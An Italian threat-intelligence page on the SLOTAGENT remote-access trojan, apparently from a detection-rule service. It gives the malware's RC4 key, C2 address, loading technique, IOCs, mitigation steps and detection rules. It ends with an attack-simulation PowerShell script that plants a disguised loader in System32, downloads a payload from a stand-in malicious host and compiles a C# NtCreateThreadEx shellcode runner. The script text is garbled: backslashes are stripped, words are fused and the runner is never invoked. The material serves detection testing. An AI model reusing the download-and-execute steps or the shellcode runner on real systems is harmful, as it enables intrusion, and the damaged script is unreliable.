Nuovo Malware SLOTAGENT che Supporta l’Esecuzione BOF Pubblicato
Detection stack
- AIDR
- Alert
- ETL
- Query
Riassunto
IIJ ha identificato un RAT multi-funzionale precedentemente sconosciuto chiamato SLOTAGENT all’interno di un archivio ZIP caricato su un repository pubblico. Il malware supporta l’esecuzione di payload Beacon Object File e include capacità anti-forensi come il timestomping per ostacolare l’analisi. Comunica con un endpoint TCP codificato tramite un protocollo personalizzato che scambia dati formattati in JSON. Il loader si basa su dati di configurazione criptati con RC4 e sul caricamento riflessivo di DLL per lanciare il payload finale.
Indagine
L’analisi statica ha mostrato che l’eseguibile loader, WindowsOobeAppHost.AOT.exe, risolve le funzioni API di Windows tramite una routine di hashing personalizzata basata su DJB2. Il suo file di configurazione criptato, db.config, viene decriptato con RC4 usando la chiave easdbadshyfab e quindi eseguito come shellcode contenente una DLL codificata con XOR. Dopo il caricamento, il RAT si connette a 43.156.59.110:699 e processa comandi basati su JSON che supportano funzioni come la cattura di schermate, l’upload e il download di file, e l’esecuzione di BOF.
Mitigazione
I difensori dovrebbero rilevare l’indirizzo IP di comando e controllo codificato e cercare le stringhe di percorso simili a HTTP associate al traffico di rete del malware. Le regole YARA fornite nel report dovrebbero essere distribuite per identificare sia il loader che i componenti RAT. I team di sicurezza dovrebbero anche monitorare i comportamenti sospetti di hashing delle API e il caricamento riflessivo delle DLL sugli endpoint. L’esecuzione di file EXE o DLL non firmati e non attendibili dovrebbe essere limitata ovunque possibile.
Risposta
Se vengono rilevati indicatori collegati a SLOTAGENT, isolare immediatamente l’host interessato, terminare il processo malevolo e raccogliere la memoria per l’esame forense. L’indirizzo IP di comando e controllo e le relative porte dovrebbero essere bloccate al limite della rete. Le organizzazioni dovrebbero quindi eseguire una scansione completa per i nomi file noti e gli hash e applicare le firme YARA pubblicate sui sistemi di rilevamento degli endpoint.
Flusso di Attacco
Rilevamenti
Possibile Tentativo di DLL Side-Loading WindowsOobeAppHost.AOT (tramite image_load)
Visualizza
IOC (HashSha256) per rilevare: Nuovo malware SLOTAGENT che supporta l’esecuzione BOF pubblicato
Visualizza
IOC (SourceIP) per rilevare: Nuovo malware SLOTAGENT che supporta l’esecuzione BOF pubblicato
Visualizza
IOC (DestinationIP) per rilevare: Nuovo malware SLOTAGENT che supporta l’esecuzione BOF pubblicato
Visualizza
Rilevamento della comunicazione C2 SLOTAGENT [Connessione di rete Windows]
Visualizza
Rilevamento dell’esecuzione di malware SLOTAGENT [Creazione di Processi Windows]
Visualizza
Esecuzione Simulazione
Prerequisito: il controllo pre-volo di Telemetria & Baseline deve essere superato.
-
Narrativa e Comandi di Attacco:
L’avversario ha ottenuto una copia del loader SLOTAGENT, lo ha rinominato in
WindowsOobeAppHost.AOT.exeper mimetizzarsi con i processi legittimi OOBE e lo ha collocato inC:WindowsSystem32. Il payload è memorizzato in un blob criptato sul server dell’attaccante. Utilizzando PowerShell, l’attaccante scarica il blob criptato, lo decripta in memoria e invoca la routine riflessiva del loader viaNtCreateThreadEx. Internamente il loader chiamaNtCreateFileper leggere ulteriori risorse dal blob criptato e quindi utilizza il caricamento riflessivo per eseguire la DLL malevola senza toccare il disco. Questa attività produce un evento Sysmon ProcessCreate con l’esattaImmaginenome e unCallTraceche contiene le tre stringhe definite nella regola. -
Script di Test di Regressione:
# ------------------------------------------------- # Slot AGENT simulazione di caricamento riflessivo (Windows) # ------------------------------------------------- # 1. Definire i percorsi $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe" $payloadUrl = "https://malicious.example.com/payload.bin" $tempPayload = "$env:TEMPpayload.bin" # 2. Verificare che il loader esista (copia simulata del reale binario) if (-not (Test-Path $loaderPath)) { Write-Host "Copia del loader simulato in $loaderPath" Copy-Item -Path "C:ToolsFakeLoader.exe" -Destination $loaderPath } # 3. Scaricare il payload criptato (simulato) Invoke-WebRequest -Uri $payloadUrl -OutFile $tempPayload # 4. Decriptare il payload in memoria (segnaposto - vera decrittazione omessa) $decryptedBytes = Get-Content $tempPayload -Encoding Byte # 5. Invocare il caricamento riflessivo tramite chiamate API native # Questo utilizza un piccolo helper C# compilato al volo che chiama NtCreateThreadEx $cSharp = @" using System; using System.Runtime.InteropServices; public class ReflectiveLoader { [DllImport("ntdll.dll", SetLastError=true)] public static extern IntPtr NtCreateThreadEx( out IntPtr threadHandle, uint desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter, bool createSuspended, uint stackZeroBits, uint sizeOfStackCommit, uint sizeOfStackReserve, IntPtr bytesBuffer); public static void Run(byte[] shellcode) { IntPtr hThread; NtCreateThreadEx(out hThread, 0x1FFFFF, IntPtr.Zero, Process.GetCurrentProcess().Handle, Marshal.UnsafeAddrOfPinnedArrayElement(shellcode, 0), IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); } } "@ Add-Type $cSharp -Language CSharp # 6. Pulire il file temporaneo Remove-Item $tempPayload -Force -
Comandi di Pulizia:
# Termina qualsiasi processo di loader residuo Get-Process -Name "WindowsOobeAppHost.AOT" -ErrorAction SilentlyContinue | Stop-Process -Force # Rimuovere il binario del loader simulato $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe" if (Test-Path $loaderPath) { Remove-Item $loaderPath -Force } # Rimuovere eventuali file temporanei residui Remove-Item "$env:TEMPpayload.bin" -ErrorAction SilentlyContinue